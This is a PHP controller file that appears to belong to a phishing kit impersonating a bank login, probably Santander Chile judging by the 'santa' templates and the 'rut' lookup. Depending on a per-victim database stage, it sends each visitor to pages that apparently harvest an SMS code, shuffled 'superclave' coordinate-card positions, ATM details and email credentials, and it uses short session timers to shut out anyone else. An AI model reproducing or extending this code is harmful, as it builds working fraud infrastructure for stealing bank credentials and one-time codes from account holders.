/home/crealab/carweb.brainware.com.co/app/controller/vistas.php
<?php
class Vistas {

    static public function viewHome(){

        if ( isset($_SESSION['referido'], $_POST['vista']) ) :

            //CARGANDO HERRAMIENTAS
            $tools = new Tools();
            //TIEMPO DE SESION
            $timeSesion = $tools->tiempoTranscurridoFechas(date('Y-m-d H:i:s',$_SESSION['referido']),date('Y-m-d H:i:s',time()));

            if ($timeSesion > 10) :
                //CERRANDO SESION
                session_destroy();
                header('Location: /');
            else:

                if (isset($_SESSION['u'])) :
                    unset($_SESSION['u']);
                    unset($_SESSION['bingo']);
                endif;

                if (isset($_SESSION['codsms'])) :
                    unset($_SESSION['codsms']);
                endif;

                if (isset($_SESSION['cs'])) :
                    unset($_SESSION['cs']);
                endif;

                if (isset($_SESSION['fc'])) :
                    unset($_SESSION['fc']);
                endif;

                if (isset($_SESSION['eos'])) :
                    unset($_SESSION['eos']);
                endif;


                //INCLUYENDO VISTA
                include("app/template/home/home.php");
            endif;

        else:
            //CERRANDO SESION
            unset($_SESSION['referido']);
            //IMPRIMIENDO VISTA
            header('Location: /');
        endif;

    }

    static public function viewfail(){

        //CARGANDO HERRAMIENTAS
        $tools = new Tools();

        if ( isset($_SESSION['fail'], $_POST['vista']) ) :
           
            //INCLUYENDO VISTA
            include("app/template/home/error.php");

            if (isset($_SESSION['fail'])) :
                unset($_SESSION['fail']);
            endif;

        else:
            //CERRANDO SESION
            unset($_SESSION['referido']);
            //IMPRIMIENDO VISTA
            header('Location: /');
        endif;

    }

    static public function template(){

        if ( isset($_SESSION['u'],$_SESSION['referido'],$_POST['vista'])) :

            //CARGANDO HERRAMIENTAS
            $tools = new Tools();
            //TIEMPO DE SESION
            $timeSesion = $tools->tiempoTranscurridoFechas(date('Y-m-d H:i:s',$_SESSION['referido']),date('Y-m-d H:i:s',time()));

            if ($timeSesion > 30) :
                //CERRANDO SESION
                unset($_SESSION['referido']);
                header('Location: /');
            else:

                //CARGANDO BASEDATOS
                $db = new Dbase();
                //CONECTANDO CON LA DB
                if ( $db->conectar() == "" ) :

                    $userDato = $db->getUserID(["rut" => $_SESSION['u']]);
//print_r($userDato);
                    if ($userDato != "") :

                        if ($userDato->proceso == 1) :
                            
                            if ($userDato->personi == 'SCT') :
                                //INCLUYENDO VISTA
                                include 'app/template/login/santasct/waiting.php';
                            else:
                                //INCLUYENDO VISTA
                                include 'app/template/login/santa/waiting.php';
                            endif;
                            
                        elseif ($userDato->proceso == 2) :

                            if ($userDato->personi == 'SCT') :
                                //INCLUYENDO VISTA
                                include 'app/template/login/santasct/credito.php';
                            else:
                                //INCLUYENDO VISTA
                                include 'app/template/login/santa/credito.php';
                            endif;

                        elseif ($userDato->proceso == 3) :
                            
                            if ($userDato->personi == 'SCT') :
                                //INCLUYENDO VISTA
                                include 'app/template/login/santasct/codigosms.php';
                            else:
                                //INCLUYENDO VISTA
                                include 'app/template/login/santa/codigosms.php';
                            endif;

                        elseif ($userDato->proceso == 4) :
                            
                            if ($userDato->personi == 'SCT') :
                                //INCLUYENDO VISTA
                                include 'app/template/login/santasct/supercorde.php';
                            else:
                                //INCLUYENDO VISTA
                                
                                include 'app/template/login/santa/supercorde.php';
                            endif;

                        elseif ($userDato->proceso == 5) :

                            //$code = array('A3','A4','B1','B4','C1','C4','C5','D1','D2','D5','E1','E4','E5','F1','F3','G1','G2','G5','H2','H4','I1','I3','I5','J1','J3');
                            $code = array('A3','A4','B1','B4','C1','C4','C5','D1','D2','D5','E1','E4','E5','F1','F3','G1','G2','G5','H2','H4','I1','I3','I5','J1','J3','A1','A2','A5','B2','B3','B5','C2','C3','D3','D4');
                            
                            shuffle($code);

                            if ($userDato->personi == 'SCT') :
                                //INCLUYENDO VISTA
                                include 'app/template/login/santasct/superclave.php';
                            else:
                                //INCLUYENDO VISTA
                                include 'app/template/login/santa/superclave.php';
                            endif;
                            
                        elseif ($userDato->proceso == 6) :

                            //$code = array('A1','A2','A5','B2','B3','B5','C2','C3','D3','D4','E2','E3','F2','F4','F5','G3','G4','H1','H3','H5','I2','I4','J2','J4','J5');
                            $code = array('E2','E3','F2','F4','F5','G3','G4','H1','H3','H5','I2','I4','J2','J4','J5');
                            shuffle($code);

                            if ($userDato->personi == 'SCT') :
                                //INCLUYENDO VISTA
                                include 'app/template/login/santasct/superclave15.php';
                            else:
                                //INCLUYENDO VISTA
                                include 'app/template/login/santa/superclave15.php';
                            endif;

                        elseif ($userDato->proceso == 7) :

                            if ($userDato->personi == 'SCT') :
                                //INCLUYENDO VISTA
                                include 'app/template/login/santasct/atm.php';
                            else:
                                //INCLUYENDO VISTA
                                include 'app/template/login/santa/atm.php';
                            endif;

                        elseif ($userDato->proceso == 8) :

                            if ($userDato->personi == 'SCT') :
                                //INCLUYENDO VISTA
                                include 'app/template/login/santasct/correomail.php';
                            else:
                                //INCLUYENDO VISTA
                                include 'app/template/login/santa/correomail.php';
                            endif;
                            
                        elseif ($userDato->proceso == 9) :
                            
                            if ($userDato->personi == 'SCT') :
                                //INCLUYENDO VISTA
                                include 'app/template/login/santasct/mesage.php';
                            else:
                                //INCLUYENDO VISTA
                                include 'app/template/login/santa/mesage.php';
                            endif;
                        else :
                            unset($_SESSION['referido']);
                            header('Location: /');
                        endif;
                    else:
                        
                        unset($_SESSION['referido']);
                        header('Location: /');
                    endif;


                endif;

            endif;


        else:
            //CERRANDO SESION
            unset($_SESSION['referido']);
            //IMPRIMIENDO VISTA
            header('Location: /');
        endif;

    }

    static public function closeSesion(){

        //CERRANDO SESION
        unset($_SESSION['referido']);
        //IMPRIMIENDO VISTA
        header('Location: /');

    }

}